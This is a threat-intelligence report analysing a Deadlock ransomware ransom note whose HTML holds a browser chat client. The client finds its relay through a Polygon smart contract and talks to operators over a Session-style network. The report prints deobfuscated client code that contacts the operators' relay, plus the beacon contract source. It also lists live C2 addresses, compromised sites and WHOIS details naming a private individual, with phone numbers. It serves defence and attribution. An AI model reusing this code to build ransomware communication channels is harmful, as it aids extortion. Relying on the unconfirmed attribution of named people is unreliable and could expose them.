|
Unit 13 Field Report. Technical analysis by ThreatScene's Unit 13 - Red Team. |
When incident responders talk about ransomware communications, they usually think in terms of Tor sites, Jabber handles, or even simple deposit blockchain addresses. In our case, the operator communication channel arrived in a much more unusual form, an HTML file dropped on the victim’s desktop that implemented a custom, browser-based chat client.
Opening that file did not just display a ransom note. It instantiated a lightweight Session-style messaging client written in obfuscated JavaScript that bootstrapped itself via a Polygon smart contract, communicated via a relay endpoint from on-chain data, and then used a network of privacy-focused service nodes to handle encrypted communications between victim and operator.
The deadlock ransomware operators essentially embedded a covert messenger into a ransom note.
This post walks through how that worked in detail
- The smart contract on Polygon
- The JavaScript client logic
- The use of Session-style addressing and NaCl cryptography
- The blockchain forensics around deployment and funding
- That all of this tells us about the growing role of smart contracts and decentralized networks in ransomware operations.
1. Incident Overview: An HTML Chat Client on the Desktop

The central artifact in this case was an HTML file placed on the victim’s desktop. When opened in a standard browser, the page rendered a simple support-style chat interface with messages from “Support” on one side, “You” on the other. Behind that minimal UI, however, the page loaded an obfuscated JavaScript file that implemented a compact but fully functional messaging client.
At a high level, the workflow was as follows:
- The client queried a smart contract on the Polygon network to obtain a “proxy” URL.
- It allowed the victim to authenticate with a username and password. These credentials were used to deterministically derive an Ed25519/Curve25519 keypair and a Session-style address.
- Through the discovered proxy, it interacted with a network of service nodes (“snodes”) and swarms, similar to the architecture used by the Session/Oxen messaging network.
- Messages were encoded in protobuf format, padded, signed with Ed25519, encrypted using NaCl sealed boxes (Curve25519) and then stored on swarms for both the sender and the operator.
Polygon in this architecture was not used for collecting ransom payments, but rather as an immutable discovery mechanism for the relay infrastructure. The smart contract acted as a small on-chain configuration beacon, tldr: a place where the attackers could update the current C2 URL, and where victims’ browsers could reliably fetch it using public Polygon RPC endpoints.
2. Polygon, the EVM & Why They Matter Here
Polygon is an EVM-compatible proof-of-stake sidechain for Ethereum. From a technical perspective, it behaves like a lower-cost, higher-throughput clone of Ethereum. Contracts are written in Solidity or similar languages, compiled to EVM bytecode, and deployed to addresses that are interacted with via JSON-RPC.
The Ethereum Virtual Machine (EVM) is a stack-based virtual machine that executes contract bytecode. It maintains a stack of 32-byte words, a temporary memory space, and a persistent storage area for each contract. Each operation consumes “gas”, which is paid in the network’s native token. On Polygon, gas costs are significantly lower than on Ethereum mainnet, which makes it attractive for both legitimate developers and attackers.
For an actor like Deadlock, Polygon offers several advantages:
- It is cheap to deploy and interact with contracts, so using smart contracts for configuration does not meaningfully increase operational cost.
- It is EVM compatible, meaning standard tooling (Metamask, ethers.js, common JSON-RPC providers) can be used.
- It is decentralized and difficult to censor; once a contract is deployed, it is replicated across the network and cannot easily be removed.
In this incident, the key on-chain artefact was the main contract at:
0x8EF7c3e531d871D3B9D559722DE77EB1dEc19dAe
Multiple other contracts were deployed with identical bytecode, likely as redundancy or as separate beacons for different victim cohorts:
0xAc9f868E285C8141617a97b85b667f229147815c
0x65c6194Ad896874494456F5c6d69EB038a1f42Cf
0x6df93d36104460e7A1838f875d27b249aF63E1de
0xdD1426d85006C051F3de5EAc8FD70667EC0Fd6Cc
0x463912A0361bb7881124062413E4F9b0b0bf06D1
0x72Bc048a1c28F5c4eC1620225d6b6854bA44F788
0xb0Ef9b36d9673E6CEc697DF8b353900ccD5c97eE
All of these shared the same MD5 hash of their bytecode, confirming they were instances of the same contract.
3. The Smart Contract: A Tiny On-Chain Proxy Beacon
The decompiled smart contract is extremely simple:
pragma solidity ^0.8.0;
contract ProxySetter {
address private owner;
bytes private proxy;
event ProxyUpdated(bytes newProxy);
constructor() {
owner = msg.sender;
}
function owner() external view returns (address) {
return owner;
}
function getProxy() external view returns (bytes memory) {
return proxy;
}
function setProxy(bytes memory newProxy) external {
require(msg.sender == owner, "Only the owner can set the proxy");
proxy = newProxy;
emit ProxyUpdated(newProxy);
}
}
The contract stores an owner address, set at deployment, and a proxy byte array. Only the owner may update proxy, and the front-end can read it via getProxy(). The important detail is that proxy is not just an arbitrary byte string, it is used to store ASCII-encoded HTTP(S) URLs that point to a relay server under the operators’ control.
Recovered setProxy parameters reveal several such URLs:
http://guel.cmhttps://hamzit.tra(apparently truncated or misconfigured TLD)https://biggoalsports.co.za/minif.phphttps://envisionreg.com/wp-activate.phphttps://nmsneustadtl.ac.at/xml.phphttp://sitecom.comhttps://94.74.164.207/prrq.php
These endpoints strongly suggest a mix of compromised websites (for example, WordPress activation hooks or generic PHP scripts on legitimate domains) and dedicated infrastructure (such as the bare IP URL). Using the contract as a pointer to one of these URLs allows the operators to rotate infrastructure as needed, while victims continue to use a single, stable on-chain beacon.
Funding analysis indicated that the proxy contract (Polygon address 0x8f2fef1339E0d90362F3cEAd9C27B661d964a022) was seeded with 42 MATIC from the wallet 0x71d4249079684479F2651745fA2fcD79c9b45f53, which is associated with FixedFloat. This is typical of threat actors who prefer to fund operational wallets via exchange deposits rather than directly from more identifiable long-term holdings.
4. JavaScript Client: De-obfuscating the Web Chat
The recovered JavaScript code implements a surprisingly complete messaging client, albeit focused on a single hard-coded “support” identity. Below, we walk through the key components.
4.1 Proxy Discovery via Polygon
The client maintains a list of public Polygon RPC endpoints and a contract address:
var uid = "*****",
contract = "0x8EF7c3e531d871D3B9D559722DE77EB1dEc19dAe",
rpcPos = 0,
rpcList = "polygon-bor-rpc.publicnode.com,polygon.drpc.org,polygon-pokt.nodies.app,polygon-rpc.com,1rpc.io/matic,polygon.meowrpc.com".split(",");
The function getContract iterates through this list until it successfully queries the contract:
function getContract(success, fail) {
rpcList[rpcPos] || (rpcPos = 0);
try {
var r = new XMLHttpRequest;
r.open("POST", "https://" + rpcList[rpcPos], true);
r.setRequestHeader("Content-Type", "application/json");
r.onreadystatechange = function () {
if (r.readyState === XMLHttpRequest.DONE) {
if (r.status === 200) {
var a = JSON.parse(r.responseText)[1].result.replace("0x", "");
var n = a.indexOf("68747470"); // hex for "http"
if (n === -1) { rpcPos++; return fail(); }
a = a.slice(n).replace(/0+$/, "") + "0";
success(decodeURIComponent(a.replace(/[0-9a-f]{2}/g, "%$&")));
} else {
rpcPos++; fail();
}
}
};
var body = JSON.stringify([
{ method: "eth_chainId", params: [], id: 1, jsonrpc: "2.0" },
{
method: "eth_call",
params: [{ to: contract, data: "0x933a9ce8" }, "latest"],
id: 2,
jsonrpc: "2.0"
}
]);
r.send(body);
} catch (e) {
rpcPos++; fail();
}
}
Rather than using a standard ABI decoder for getProxy(), the code takes the raw hex result of eth_call, strips the 0x prefix, and searches for the substring 68747470 (the ASCII hex for http). Once found, it assumes that everything from that offset until the trailing zero padding is the URL, decodes it with decodeURIComponent, and uses that as the proxy base URL for subsequent HTTP requests.
This approach is crude but effective. It avoids bundling ABI definitions or relying on additional libraries, while being robust against any future changes in the URL contents, as long as it begins with http or https.
4.2 Transport to the Proxy
Once a proxy URL has been recovered, the client sends all control and messaging operations through it using a helper function:
function sendProxy(method, payload, cb, overrideUrl = undefined) {
var done = false;
function finish(err, data) {
if (!done) { done = true; cb(err, data); }
}
if (!proxy && !overrideUrl) {
badAlert("Error: Can't find proxy");
return finish(false);
}
try {
var x = new XMLHttpRequest;
x.open("POST", (overrideUrl || proxy) + "?method=" + method, true);
x.setRequestHeader("Content-Type", "application/json");
x.timeout = 12000;
x.ontimeout = function () { finish(true); };
x.onreadystatechange = function () {
if (this.readyState === 4) {
if (this.status >= 200) {
try {
var res = JSON.parse(this.responseText);
if (res.status) finish(false, res.data);
else {
finish(true);
if (res.mess && res.mess.length > 0) badAlert(res.mess);
}
} catch (e) {
console.log(e);
finish(true);
badAlert("Wait: Parse undefined");
}
} else {
finish(true);
badAlert("Wait: Error on request");
}
}
};
x.send(JSON.stringify(payload));
} catch (e) {
finish(true);
badAlert("Wait: Answer undefined");
}
}
Every logical action is turned into a POST to this proxy, with the semantic method (for example, get_snodes, get_swarms, poll, or store) passed as a query parameter. The proxy is responsible for interacting with Session service nodes and swarms on behalf of the browser client.
4.3 Deterministic Key Generation from Victim Login
The login process does more than validate user input; it generates the victim’s cryptographic identity deterministically from the chosen credentials.
function handlerLogin(e) {
var errBox = document.getElementById("er1"),
login = document.getElementById("login"),
pass = document.getElementById("pass"),
n = login.value,
s = pass.value;
errBox.innerHTML = "";
if (n.length <= 5 || s.length <= 5) {
errBox.innerHTML = "Login and Password must be more then 5 symbols";
return;
}
var seedStr = n + "_" + uid + "_" + s; // uid = "****"
var bytes = new Uint8Array(seedStr.length);
for (var i = 0; i < seedStr.length; i++) bytes[i] = seedStr.charCodeAt(i);
window.nacl_factory.instantiate(function (naclImpl) {
nacl = naclImpl;
var seedHash = nacl.crypto_hash(bytes).slice(0, 16);
var seed32 = new Uint8Array(32);
seed32.set(seedHash);
var kp = nacl.crypto_sign_seed_keypair(seed32);
var conv = ed2curve();
private = {};
private.pk_ed25519 = kp.signPk;
private.pk = conv.convertPublicKey(kp.signPk);
private.sk_ed25519 = kp.signSk;
private.sk = conv.convertSecretKey(kp.signSk.slice(0, 32));
private.address = "05" + Uint8ArrayToHex(private.pk);
private.seed = seedHash;
stage("n3");
});
}
The credential pair (username, password) is concatenated with a static uid and hashed with NaCl’s crypto_hash, producing a 16-byte value that is expanded to 32 bytes and passed to crypto_sign_seed_keypair. This creates an Ed25519 keypair that is entirely determined by the credentials. The ed2curve() helper then converts the Ed25519 keys into Curve25519/X25519 keys suitable for crypto_box operations.
The resulting private.address is constructed as the hex string 05 followed by the hex encoding of the Curve25519 public key. This 0x05 prefix and address pattern aligns with the addressing used by the Session messenger (where user IDs are 66-character strings beginning with 05…).
The consequence is that any time the victim re-enters the same username and password in the same HTML client, the same keypair and Session-style address will be derived, and thus the same message history can be accessed on the network. The operators do not need to store separate per-victim accounts; the victim effectively re-derives their own identity.
4.4 Service Nodes, Swarms and Polling
The client communicates with a privacy network that resembles the Session/Oxen architecture. It first retrieves the list of service nodes via the proxy, then obtains the responsible swarm list for both the victim’s address and a hard-coded receiver address.
The receiver is defined as:
var reciver = { address: "05084f9b14b02f4ffa97795a60ab1fafaf5128e3259c75459aaaeaebc80c14da78" };
reciver.pk = hexToUint8Array(reciver.address.slice(2));
The getChat() function orchestrates the state machine that obtains service node lists, then swarms, then starts polling:
function getChat() {
var overlayStyle = document.getElementsByTagName("lo")[0].style;
if (private && proxy) {
if (!snodes) {
return sendProxy("get_snodes", {}, function (err, list) {
if (err) return setTimeout(getChat, 500);
snodes = list;
getChat();
});
}
if (!swarms) {
var snode = snodes[(snodes.length * Math.random()) | 0];
return sendProxy("get_swarms", { pubkey: private.address, snode },
function (err, res) {
if (!err && res && res.snodes && res.snodes.length) {
swarms = res.snodes;
} else {
badAlert("Wait: Empty data");
}
getChat();
});
}
if (!swarms_rec) {
var snode = snodes[(snodes.length * Math.random()) | 0];
return sendProxy("get_swarms", { pubkey: reciver.address, snode },
function (err, res) {
if (!err && res && res.snodes && res.snodes.length) {
swarms_rec = res.snodes;
} else {
badAlert("Wait: Empty data");
}
getChat();
});
}
var t = Date.now();
var msg = (new TextEncoder()).encode("retrieve" + t);
var sig = nacl.crypto_sign_detached(msg, private.sk_ed25519);
var signatureBuilt = {
pubkey: private.address,
signature: bufferToBase64(sig),
pubkey_ed25519: Uint8ArrayToHex(private.pk_ed25519),
timestamp: t
};
var swarm = swarms[(swarms.length * Math.random()) | 0];
sendProxy("poll",
{ pubkey: private.address, signatureBuilt, swarm },
function (err, res) {
if (!err && res && res.messages) {
// message decoding and UI update happen here
setTimeout(getChat, 8000);
} else {
setTimeout(getChat, 3000);
}
});
} else {
setTimeout(getChat, 2000);
}
}
The polling request signs the concatenation of the string "retrieve" with the current timestamp using Ed25519, then passes both the Session-style address and the Ed25519 public key, thereby proving possession of the corresponding private key. This mirrors the authentication pattern used by official Session clients when talking to storage servers.
Received messages are decrypted with crypto_box_seal_open using the victim’s Curve25519 keys, stripped of padding, and then decoded from protobuf into higher-level message types (dataMessage, callMessage, receiptMessage, and so on). For the purposes of the ransom chat, only simple text messages (dataMessage.body) are relevant.
4.5 Message Construction, Padding, Signing and Storage
Sending a message is a multi-stage process. The content is first encoded with protobuf, then padded, signed, sealed, and finally wrapped in a request envelope that the proxy submits to the network.
The content encoding builds a structure containing the message body, timestamp, and an optional sync target:
function Contentencode(m) {
var w = protobuf.Writer.create();
w.uint32(10).fork();
w.uint32(10).string(m.body);
w.uint32(56).uint64(m.timestamp);
if (m.syncTarget) w.uint32(842).string(m.syncTarget);
w.ldelim();
w.uint32(96).int32(0);
return w;
}
The encryption and wrapping function then proceeds as follows:
function encryptMessageAndWrap(m) {
try {
var t = m.timestamp,
r = m.recipient,
a = m.plainTextBuffer,
n = a.byteLength + 2;
var blocks = Math.floor(n / 160);
if (n % 160 !== 0) blocks += 1;
var total = blocks * 160;
var padded = new Uint8Array(total - 1);
padded.set(new Uint8Array(a));
padded[a.byteLength] = 128; // padding terminator
var toSign = concatUInt8Array(padded, private.pk_ed25519, r);
var sig = nacl.crypto_sign_detached(toSign, private.sk_ed25519);
if (!sig || sig.length === 0) {
console.log("error on encrypt");
return false;
}
var payload = concatUInt8Array(padded, private.pk_ed25519, sig);
var sealed = nacl.crypto_box_seal(payload, r);
if (!sealed) {
console.log("error on ciphertext");
return false;
}
var inner = protobuf.Writer.create();
inner.uint32(8).int32(6);
inner.uint32(40).uint64(t);
inner.uint32(66).bytes(sealed);
var outer = protobuf.Writer.create();
outer.uint32(8).int32(1);
outer.uint32(18).fork();
outer.uint32(10).string("PUT");
outer.uint32(18).string("/api/v1/message");
outer.uint32(26).bytes(inner.finish());
outer.uint32(32).uint64(0);
outer.ldelim();
var f = outer.finish();
m.base64 = bufferToBase64(f);
return m;
} catch (g) {
return false;
}
}
The message is padded so that the internal plaintext always fits into blocks of 160 bytes, with a single 0x80 byte marking the end of meaningful data (a common padding scheme). The padded content, along with the sender’s Ed25519 public key and the recipient’s Curve25519 key, is signed and then encrypted using NaCl’s crypto_box_seal, which implements an anonymous sealed box to the recipient.
Finally, the sendMessage function creates two parallel messages: one addressed to the operator’s public key and one addressed to the victim’s own address (for synchronization), and sends them to random swarms in both sets:
function sendMessage(text, isFirst = false) {
if (swarms && swarms_rec && swarms.length && swarms_rec.length) {
if (!isFirst) addAlert("Try encrypt message can take few minutes");
var ts = Date.now(), ttl = 12096e5; // 14 days
var msgToRec = {
recipient: reciver.pk,
destination: reciver.address,
body: text,
isSyncMessage: false,
timestamp: ts,
namespace: 0,
ttl: ttl
};
var msgToSelf = {
recipient: private.pk,
destination: private.address,
body: text,
isSyncMessage: true,
timestamp: ts,
namespace: 0,
ttl: ttl,
syncTarget: reciver.address
};
msgToSelf.plainTextBuffer = Contentencode(msgToSelf).finish();
msgToRec.plainTextBuffer = Contentencode(msgToRec).finish();
msgToSelf = encryptMessageAndWrap(msgToSelf);
msgToRec = encryptMessageAndWrap(msgToRec);
if (msgToSelf && msgToRec || isFirst) {
var recSwarm = swarms_rec[(swarms_rec.length * Math.random()) | 0];
var selfSwarm = swarms[(swarms.length * Math.random()) | 0];
if (recSwarm.ip && selfSwarm.ip || isFirst) {
var recAddr = recSwarm.ip + ":" + recSwarm.port;
var selfAddr = selfSwarm.ip + ":" + selfSwarm.port;
var storeReq = {
timestamp: ts,
ttl: ttl,
namespace: 0,
transactions: [
{ swarm: selfAddr, data: msgToSelf.base64, pubkey: msgToSelf.destination },
{ swarm: recAddr, data: msgToRec.base64, pubkey: msgToRec.destination }
]
};
if (!isFirst) addAlert("Try send message can take few minutes");
sendProxy("store", storeReq, function (err, res) {
if (!err && res && res === "ok") {
if (!isFirst) addAlert("Success send message in chat show after few minutes");
} else if (!isFirst) {
badAlert("Error: Can't sand try again");
}
});
} else if (!isFirst) {
badAlert("Error: Node not found, try again");
}
} else if (!isFirst) {
badAlert("Error on send, try again");
}
} else if (!isFirst) {
badAlert("Error: rpc not found");
}
}
The net effect is that messages are stored redundantly on the network: once for the operator, once for the victim’s own identity. Both can later retrieve the conversation, assuming they possess the correct keys.
5. Session, Tox, and the Crypto Stack Behind the Scenes
Although this HTML client is custom, it borrows heavily from the design of the Session messenger and from NaCl-based secure messaging frameworks such as Tox.
Session is a privacy-focused messenger that avoids phone numbers and centralized servers, instead using pseudonymous IDs and a network of service nodes to route and store messages. User identities are represented as long hex strings beginning with the prefix 05, matching the form seen in the reciver.address and the victim addresses in this incident. Messages are stored on “swarms” of service nodes responsible for specific key ranges, and are retrieved over authenticated requests where the client proves control of the corresponding private key.
Tox is another decentralized secure messenger that uses the NaCl library’s Curve25519, XSalsa20 and Poly1305 primitives and a distributed hash table for peer discovery. While the exact protocol differs from Session’s, the two systems share architectural features: pseudonymous public keys as identifiers, no central authority, and strong end-to-end encryption.
The HTML client uses NaCl through window.nacl_factory.instantiate, relies on crypto_sign_seed_keypair (Ed25519) and crypto_box_seal (anonymous sealed boxes using Curve25519), and implements protobuf structures and endpoints that closely mirror Session’s storage server API. It is essentially a minimal Session-like client implemented in browser JavaScript and tailored for one-to-one communication with a specific operator identity.
6. Blockchain Forensics: Funding, Deployment and Attribution


From a forensic standpoint, the use of Polygon and smart contracts is a mixed blessing. On one hand, it gives attackers a resilient place to store configuration. On the other, everything they do on-chain is permanently recorded and globally visible.
The main contract at 0x8EF7… was associated with a creation transaction and a creator address that can be traced. In addition, the proxy contract 0x8f2f… was funded with 42 MATIC from 0x71d4249079684479F2651745fA2fcD79c9b45f53, which is in turn associated with the FixedFloat exchange. FixedFloat addresses are well-documented and clustered, so seeing funds arrive from such an address immediately indicates that funds passed through a centralized exchange at some point.
A typical investigative process would start from these known addresses and transaction hashes, expand outward to identify all inbound and outbound flows, and cluster associated wallets. Addresses that are clearly exchange hot wallets can be tagged and set aside, while personally controlled or operational wallets are flagged for further scrutiny. Cross-chain analysis can then be used to identify whether the same actors also deployed similar contracts or funded similar activities on other networks.
Ultimately, the presence of an exchange in the funding path means that law enforcement could potentially subpoena account information, IP logs or withdrawal addresses from that exchange, assuming the jurisdiction and legal framework permit it. Even though the contract itself cannot be removed, the financial component of the operation remains vulnerable to forensic pressure.
7. Smart Contracts and Decentralized Networks in Ransomware Operations
This case is emblematic of a broader shift in how ransomware operators leverage decentralized technologies. Blockchains first entered the picture as payment rails: Bitcoin addresses included in ransom notes, followed by more sophisticated use of coin mixers, chain-hopping and privacy coins. Over time, criminals started to explore more creative uses.
Smart contracts and decentralized networks now serve several operational roles. Contracts can hold configuration data, decryption keys or even implement automated profit sharing for Ransomware-as-a-Service schemes. Public blockchains and IPFS can host encrypted payloads or web assets that cannot be easily taken down. Decentralized messaging networks such as Session, Tox or Matrix can be used for operator coordination or victim communications without relying on centralized platforms that might cooperate with law enforcement.
In this incident, Polygon provides an immutable, censorship-resistant anchor for a single piece of configuration: the current proxy URL. The HTML client uses public RPC endpoints to retrieve that configuration, then interacts with a metadata-hardened messaging network to handle actual operator communications. There is no static domain name burned into the ransom note and no traditional C2 hostname to block at the DNS level. Blocking becomes a moving target because the operators can deploy new proxy URLs and update the contract’s proxy field at any time.
For defenders, this forces a shift in focus. Rather than looking only at static hostnames and IPs, analysts need to recognize and inspect blockchain interactions within malware and tooling. Functions that call eth_call or eth_getStorageAt, especially with contract addresses that resolve to unusual bytecode, should be examined carefully. Hex blobs that decode to ASCII http or https are especially suspicious in this context.
8. Defensive Implications and Conclusions
From an incident response perspective, the key lessons from this Deadlock-related case are straightforward but important.
First, HTML ransom artefacts deserve the same deep treatment as binaries. Embedded script tags, obfuscated JavaScript, and client-side network behaviour can reveal complex communication channels that go well beyond a static message and a Tor link. In this incident, almost all of the operator interaction logic resided in the JavaScript.
Second, smart contracts should be considered potential C2 or configuration beacons. When malware, scripts or ransom tooling make JSON-RPC calls to an EVM-compatible network, that behaviour merits scrutiny. Contract addresses, function selectors and returned data can all serve as indicators of compromise.
Third, understanding privacy-focused messaging protocols and NaCl-based cryptography is no longer optional. Attackers are clearly willing to reuse the architectures of tools like Session and Tox, precisely because they provide anonymity, decentralization and resistance to censorship, properties that are attractive for both legitimate users and criminals.
Finally, while smart contracts and decentralized networks provide new hiding places, they also create indelible trails. On-chain transactions, contract deployments, and the funding flows that sustain them remain visible. When those flows touch centralized exchanges, they create opportunities for pressure and disruption that defenders and law enforcement can exploit.
The Deadlock operators’ choice to embed a Session-style client in an HTML ransom note, bootstrap it via a Polygon smart contract, and route communications through decentralized infrastructure illustrates how ransomware is evolving from simple file encryption plus a text file into a multifaceted ecosystem that spans blockchains, privacy networks and custom cryptographic tooling. Defenders should expect to see more of this convergence in future incidents and plan their detection and response capabilities accordingly.
9. Advanced Blockchain Forensics
This section goes deeper than typical analysis, reading contract storage directly, calculating deployment addresses from nonces, and fingerprinting bytecode.
New Contract Discovery
In addition to the seven clones listed in Section 3, we identified an eighth clone:
0x43e86b65997c72ff060b970c53248db33a14a5bb (Clone 8)
This brings the total to 9 contracts with identical bytecode.
Complete Transaction Timeline
DATE ACTION TARGET
─────────────────────────────────────────────────────────────────
2025-08-10 23:07 Contract Deploy Clone 7, Clone 6
2025-08-10 23:16 Contract Deploy Clone 5
2025-08-10 23:18 Contract Deploy Clone 4
2025-08-10 23:21 Contract Deploy Clone 3
2025-08-10 23:22 Contract Deploy Clone 2
2025-08-10 23:27 Contract Deploy (failed/other)
2025-08-10 23:28 Contract Deploy (failed/other)
2025-08-10 23:30 Contract Deploy Clone 1
2025-08-10 23:32 Contract Deploy (failed/other)
2025-08-11 02:14 setProxy() Clone 1
2025-08-11 15:50 setProxy() Clone 1
2025-08-11 21:01 Contract Deploy MAIN CONTRACT
2025-08-12 00:19 setProxy() Main → first URL
2025-08-12 01:37 setProxy() Main
2025-08-12 01:43 setProxy() Main
2025-08-12 04:49 setProxy() Main
2025-08-15 01:24 setProxy() Main
2025-08-15 21:06 setProxy() Main
↓
3 MONTH GAP - NO ACTIVITY
↓
2025-11-13 01:43 setProxy() Main → Ukrainian IP (current)
Key insights:
- 25-minute deployment burst: All clones deployed rapidly, suggests automated script
- Main deployed AFTER clones: Unusual ordering, possibly production vs test
- Heavy rotation first week: 7 setProxy calls in 5 days, infrastructure being burned
- 3-month silence: Either dormant or using different contracts
- Recent reactivation: Nov 13 switch to Ukrainian IP indicates ongoing ops
Nonce Analysis
| Nonce | Contract | Address |
|---|---|---|
| 10 | Clone7 | 0xb0Ef9b36d9673E6CEc697DF8b353900ccD5c97eE |
| 11 | Clone6 | 0x72Bc048a1c28F5c4eC1620225d6b6854bA44F788 |
| 12 | Clone5 | 0x463912A0361bb7881124062413E4F9b0b0bf06D1 |
| 13 | Clone4 | 0xdD1426d85006C051F3de5EAc8FD70667EC0Fd6Cc |
| 14 | Clone3 | 0x6df93d36104460e7A1838f875d27b249aF63E1de |
| 15 | (gap) | Unknown, possibly failed or different action |
| 16 | Clone2 | 0x65c6194Ad896874494456F5c6d69EB038a1f42Cf |
| 17 | Clone1 | 0xAc9f868E285C8141617a97b85b667f229147815c |
| 20 | Main | 0x8EF7c3e531d871D3B9D559722DE77EB1dEc19dAe |
The gap at nonce 15 and nonces 18-19 suggests failed transactions or non-deployment calls.
Raw Storage Analysis
Reading contract storage directly:
Slot 0: 0x0000000000000000000000008f2fef1339e0d90362f3cead9c27b661d964a022
└─ Owner address (right-padded)
Slot 1: 0x687474703a2f2f3133382e3232362e3233362e35312f707272712e706870003c
└─ Proxy URL (short string encoding): "http://138.226.236.51/prrq.php"
The hex 68747470 = “http”. Quick way to spot URL storage in any contract.
Bytecode Fingerprinting
Length: 2,075 bytes
First 20 bytes: 608060405234801561000f575f80fd5b50600436
Last 20 bytes: 8845a57ee13a2a7e8b64736f6c63430008180033
Bytecode Hash: 3a4e1aaf3e07d65d (first 8 bytes of keccak256)
The ending 736f6c63430008180033 contains Solidity metadata:
736f6c63= “solc” (Solidity compiler marker)43= CBOR tag00 08 18= Version bytes → Solidity 0.8.24
Cross-Chain Presence
| Chain | Owner Activity | Contract Deployed |
|---|---|---|
| Ethereum | ❌ None | ❌ No |
| BSC | ❌ None | ❌ No |
| Arbitrum | ❌ None | ❌ No |
| Optimism | ❌ None | ❌ No |
| Base | ❌ None | ❌ No |
| Avalanche | ❌ None | ❌ No |
The operation is Polygon-only.
ERC20 Token Analysis
The operator wallet holds no ERC20 tokens, pure MATIC operations only. Actual ransom payments likely go elsewhere (probably Bitcoin or Monero).
Gas Economics
Total Transactions: 28
Estimated Gas Used: ~2.8M gas total
Average Gas Price: ~30 gwei
Total Gas Cost: ~0.084 MATIC (~$0.04 USD)
Current Balance: 41.88 MATIC
Runway: At current usage, they have gas for ~14,000 more transactions
10. Live C2 Investigation
Current C2 Status (Probed December 2025)
The current C2 server is actively responding:
URL: http://138.226.236.51/prrq.php
Status: 200 OK
Response: {"status":false,"mess":"Method empty"}
When probed with expected methods:
| Method | Response |
|---|---|
get_snodes |
{"status":false,"mess":"Bad json format"} |
get_swarms |
{"status":false,"mess":"Bad json format"} |
poll |
{"status":false,"mess":"Bad json format"} |
store |
{"status":false,"mess":"Bad json format"} |
What this tells us:
- Server is live and operational
- Expects properly formatted JSON POST bodies
- PHP-based backend (
prrq.php) - Validates method parameter before checking payload
- This is actively processing ransomware communications
C2 IP Geolocation Details
Current C2: 138.226.236.51
IP Range: 138.226.236.0/24
Hosting: Frankfurt, Germany (actual server location)
Registration: Vladylsav Naumets (individual)
Address: Rivne, st. Sichov Striltsiv, bud. 30, fl. 11
Country: Ukraine (registered as Belize)
Created: November 10, 2024
Admin Email: [email protected]
Previous C2: 94.74.164.207
IP Range: 94.74.164.0/24
Organization: Farahoosh Dena PLC
Address: Number 3, 5th Baghshah, Shiraz, Fars, Iran
Phone: +989173030324, +989173119628
Country: Iran
Status: Inactive
privatenetwork.ltd Investigation
The bulletproof hosting provider:
Domain: privatenetwork.ltd
DNS: 172.67.161.153 (CLOUDFLARE - hiding real IP)
Website: HTTP 521 (Cloudflare origin error)
The domain exists, is behind Cloudflare, but the origin server is down. Common for bulletproof hosting operations.
11. Outstanding Research Leads
| Lead | How to Pursue |
|---|---|
| UID | Search Telegram, Discord, breach databases |
| Session ID | Install Session app, attempt contact, monitor |
| Vladylsav Naumets | Social media, Ukrainian registries, breach DBs |
| Iranian phones | Truecaller, Telegram lookup, carrier info |
| FixedFloat records | Law enforcement subpoena |
| Similar contracts | Dune Analytics SQL for same bytecode |
| C2 ports | Shodan/Censys scan of both IPs |
| privatenetwork.ltd | Domain history, other customers |
Timeline Questions
- Why the 3-month gap? (Aug 15 → Nov 13)
- Why switch from Iran to Ukraine?
- Why 9 contracts but only 2 configured?
Appendix: Additional IOCs (Not Listed Above)
These IOCs supplement the contract addresses and proxy URLs already documented in Section 3.
New Contract (Clone 8)
0x43e86b65997c72ff060b970c53248db33a14a5bb
Compromised Site IPs
193.171.123.131 # Austrian school (nmsneustadtl.ac.at)
154.0.170.153 # South Africa (biggoalsports.co.za)
34.174.232.245 # GCP (envisionreg.com)
Bulletproof Hosting
privatenetwork.ltd (Cloudflare-fronted, origin down)
Email Addresses
[email protected]
[email protected]
[email protected]
Phone Numbers (Iranian, from WHOIS)
+989173030324
+989173119628
Technical Hashes/Selectors
# Contract bytecode hash (keccak256, first 8 bytes)
3a4e1aaf3e07d65d
# setProxy event topic
0x34efb641c699f5e35ab0992cfc8e966b5788857b4268f67ca62101b6c87b5c7e
# Function selectors
0x46eb0d6f # setProxy(string)
0x933a9ce8 # getProxy()
0x8da5cb5b # owner()
References
- Deadlock Ransomware: Current Assessment and Defender Guidance: https://threatscene.com/blog-update/deadlock-ransomware-current-assessment-and-defender-guidance/


